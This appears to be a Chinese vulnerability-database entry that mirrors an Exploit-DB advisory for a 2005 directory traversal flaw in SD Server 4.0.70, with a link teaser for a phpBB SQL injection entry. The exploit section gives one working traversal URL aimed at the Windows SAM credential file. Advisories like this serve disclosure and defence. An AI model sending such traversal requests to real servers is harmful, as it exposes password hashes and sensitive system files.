sd server 4.0.70 – Directory Traversal

漏洞ID	1054915	漏洞类型
发布时间	2005-02-21	更新时间	2005-02-21
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Windows	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/25144

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/12609/info

A vulnerability has been identified in the handling of certain types of requests by SD Server. Because of this, it is possible for an attacker to gain access to potentially sensitive system files.

Read privileges granted to these files would be restricted by the permissions of the web server process. 

http://www.example.com/../../../windows/repair/sam

相关推荐: phpBB Fetch All SQL Injection Vulnerability

phpBB Fetch All SQL Injection Vulnerability 漏洞ID 1098164 漏洞类型 Input Validation Error 发布时间 2004-08-04 更新时间 2004-08-04 CVE编号 N/A CNN…